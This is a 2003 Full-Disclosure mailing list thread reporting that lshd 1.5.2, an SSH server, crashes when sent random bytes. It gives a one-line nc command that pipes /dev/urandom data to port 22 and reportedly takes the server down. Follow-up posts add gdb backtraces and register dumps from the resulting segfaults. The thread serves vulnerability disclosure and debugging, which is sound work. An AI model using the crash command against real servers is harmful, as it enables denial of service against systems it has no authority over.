[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [Full-Disclosure] new ssh exploit?

Well I messed with it a bit more and it seems to consistantly crash in the following areas...

Program received signal SIGSEGV, Segmentation fault.
gc_sweep () at gc.c:119
119 if (o->marked)
(gdb) bt
#0 gc_sweep () at gc.c:119
#1 0x08054178 in gc () at gc.c:248
#2 0x08054d57 in lsh_oop_time_callback (source=0x808ef28, time={tv_sec = 0, tv_usec = 0}, data=0x81201e8)
at io.c:230
#3 0x40084998 in sys_time_run (sys=0x808ef28) at sys.c:276
#4 0x40084ca9 in oop_sys_run (sys=0x808ef28) at sys.c:395
#5 0x08055065 in io_run () at io.c:331
#6 0x0804b442 in main (argc=1, argv=0xbffffae4) at lshd.c:1116
#7 0x42015574 in __libc_start_main () from /lib/tls/libc.so.6

or here....

(gdb) bt
#0 0x42074900 in malloc_consolidate () from /lib/tls/libc.so.6
#1 0x42073f99 in _int_malloc () from /lib/tls/libc.so.6
#2 0x4207335b in malloc () from /lib/tls/libc.so.6
#3 0x08065361 in xalloc (size=1108546304) at xalloc.c:105
#4 0x080653db in lsh_var_alloc (class=0x42131318, size=1208) at xalloc.c:234
#5 0x0806540a in lsh_object_alloc (class=0x42131318) at xalloc.c:247
#6 0x08050801 in make_ssh_connection (flags=1108546328, peer=0x42131318, local=0x42131318,
debug_comment=0x42131318 "", e=0x809c968) at connection.c:345
#7 0x080546da in do_handshake_command (a1=0x8099e70, a2=0x8099e40, extra=0x809bad8, a4=0x809cb80, c=0x809cba0,
e=0x809b798) at handshake.c:378
#8 0x0804fcf9 in do_command_4_invoke_3 (s=0x42131318, a4=0x809cb80, c=0x809cba0, e=0x809b798) at command.c:265
#9 0x0804faa5 in do_command_apply (s=0x42131318, value=0x809cb80) at command.c:72
#10 0x0805752e in do_io_log_peer_command (s=0x808ca60, a=0x809cb80, c=0x809cbc0, e=0x809b798) at io_commands.c:338
#11 0x0804f778 in do_command_Bp (k=0x8099e10, f=0x809ca88, g=0x808ca60, x=0x809cb80, c=0x808bdc0, e=0x809b798)
at combinators.c:175
#12 0x0804fcf9 in do_command_4_invoke_3 (s=0x42131318, a4=0x809cb80, c=0x808bdc0, e=0x809b798) at command.c:265
#13 0x08055799 in do_listen_callback (s=0x809cb18, fd=0x809ba08) at io.c:734
#14 0x08054a73 in lsh_oop_fd_read_callback (s=0x808ef28, fileno=1108546328, event=OOP_READ, data=0x809ba08)
at io.c:134
#15 0x40084dcf in oop_sys_run (sys=0x808ef28) at sys.c:372
#16 0x08055065 in io_run () at io.c:331
#17 0x0804b442 in main (argc=1, argv=0xbffff4e4) at lshd.c:1116
#18 0x42015574 in __libc_start_main () from /lib/tls/libc.so.6

-KF


KF wrote:
Just in case anyone cares...

(gdb) r
Starting program: /usr/local/sbin/lshd
lshd: 8\bed!\842@\b1\90\bb\b1\8f\a5?\cb\d1\f4\855\bf\a3\9a\cc\b8\d7_\be\bc\05}\d4\ef\aa\ba\f0\d4\e6\e14wd\02\1c1\91\9a\bd\d8\a8x]\92To\ddM\1d\f5\b4\a2\d0\86\bd\df\e8M\c89B\1a{\b9b\fb\8a\d4\1d\05Q2\eb\c0\fdIi\18q\98

lshd: Protocol error: Line too long.
lshd: {H\87Z\9e\b3lW\ae,\a8\b9)\bc\8e\d1v\c9\d3\02x\d5\bd\dc\b6Q\b8\97\df,K\09\b8\0c\17\f2=\9b9P\15\ea\cc\15>\bc/2\d12\13\e1y\1cL\10\8d\a1\0c>\e5;\12\8f\a6\f4\fa\e6\ae\db{\ed\dd\1a\00N\dfn\b5\05\eai\ca]\d3BX\b5\9a6BG\a5\8e&k\caJ_\f6\cf\b0\80i\ddQ\c1\7fC\ed\9a\11ks\e2\9c;/h\8b\af\f6!\c7\8a\81\c8\95D\b9\07\bdq\cd\fd\e3\19\08\859\9d\d3\c9\b7\9c\a67BW\19\86\f8\cbD'\1f\01\\\1e\02\ad\cd\c8ZO\08\07\f3a"~\0ewU'7\16\c7\19X|\12\08\f5\aeE1\c9\cbhG\15\df\ea\ff\f0\071\8c\83\bd\b4.5,G\9db\83IT\94\fc\ad\d4\09\99\c1\ffD\d7\cb\ff\85\c3\c8Y`\8f\f4P\e15u\10P\1e?\864\908i\1b\0e\ac\af\bf\d0J\e9\89o\ee\ec:z>p\93\f5\10;\e9\94c\ac<\ee>\d7\bb\a2\ef\9c|\f4\daS\d4Y/\89\d3\c8\9dw\b5\f9X4H?\f1\1c\a0\be\a4\a8\b2:\cf\b1a\df\c9\85b}\8a\92\dd\f1`\86\b3\c5\dae\16*f\9e\b7\92\e2\05}E\b1\c5\e9\f1x\db\e7+/\fc\f2\aaT\e8\0bB\a4\b3\b8\cbv]\9d\f9\855\ca@\fc\aa\b1\82\daA\80\f7f\a8\92\a6\04\08\fbXs"tO\df\f2j\a3?\e8\aa<d\09\d2y\c35+\01b\10\95\a2V\ecG\0b\1a\13\18\9f\02\b3\fc\19\e7ad) \96\0e\db\e1\c1\1cI\c7\89\c3\b57\8b\ee\1e\ee\c6.\15Y\08\b7\d6ofH\e7=}\9f\13\d9[w\ec\82=\f9\c4E\0f2\ef\d9\8fe\11Sc\cb \b3SC\af\9b\cf\9fc\e8>\b6\f5\ad\e2g\a3'\d0\97\1f$\8a\a9\f0\de\14$Z\936\dd\99\a2\a1 \d4\95\18\b8\eeTv\8c.\03*\baS\f4\83\03^\fa\f9\0f-\df\a0\12\19\a3\9d\a8+\faRg1\15\e4\bf{\1c\ed\a9\cb\c3\15J\a5\c5}\17


Program received signal SIGSEGV, Segmentation fault.
0x0805a477 in do_kill_all (s=0x8099ee0) at resource.c:160
160 KILL_RESOURCE(r);
(gdb) bt
#0 0x0805a477 in do_kill_all (s=0x8099ee0) at resource.c:160
#1 0x08050b1f in connection_die (c=0x58f9b577) at connection.c:485
#2 0x08056a4f in close_fd (fd=0x809bef8) at io.c:1848
#3 0x08054be6 in lsh_oop_fd_write_callback (s=0x808ef28, fileno=1492759927,
event=OOP_WRITE, data=0x809bef8) at io.c:182
#4 0x40084e61 in oop_sys_run (sys=0x808ef28) at sys.c:368
#5 0x08055065 in io_run () at io.c:331
#6 0x0804b442 in main (argc=1, argv=0xbfffe264) at lshd.c:1116
#7 0x42015574 in __libc_start_main () from /lib/tls/libc.so.6
(gdb) i r
eax 0x58f9b577 1492759927
ecx 0x808ef28 134803240
edx 0x0 0
ebx 0x809bef8 134856440
esp 0xbfffdf60 0xbfffdf60
ebp 0xbfffdf88 0xbfffdf88
esi 0x809b788 134854536
edi 0x8099ee0 134848224
eip 0x805a477 0x805a477

-KF



Bennett Todd wrote:

2003-09-17T08:17:43 Bennett Todd:

2003-09-16T21:16:34 Blue Boar:

Out of curiosity, what leads you to believe that lshd will be
better in terms of future bugs vs. OpenSSH?


Good question. 



Better question; thanks to a tip from a friend, I can provide
concrete evidence to the contrary.

This command:

dd if=/dev/urandom bs=1024 count=1|nc <hostname> 22 >/dev/null

takes down an lsh-1.5.2 reliably taking no more than 2-3 tries on
average.

The same, both in the above form and with 10kb of urandom per blat,
doesn't bother openssh-3.7.1 for hundreds of tries.

I tried emailing this to lsh-bugs, got some moronic thing from some
idiot third-party anti-spam service "please send this special email
to this special place and we might think about letting your message
through". Right.

So much for lshd, at least for now. Back to the patch-n-grind of
openssh.

Anybody know of an ssh implementation --- even just the server side
--- that's actually tight clean secure code?

-Bennett 



_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html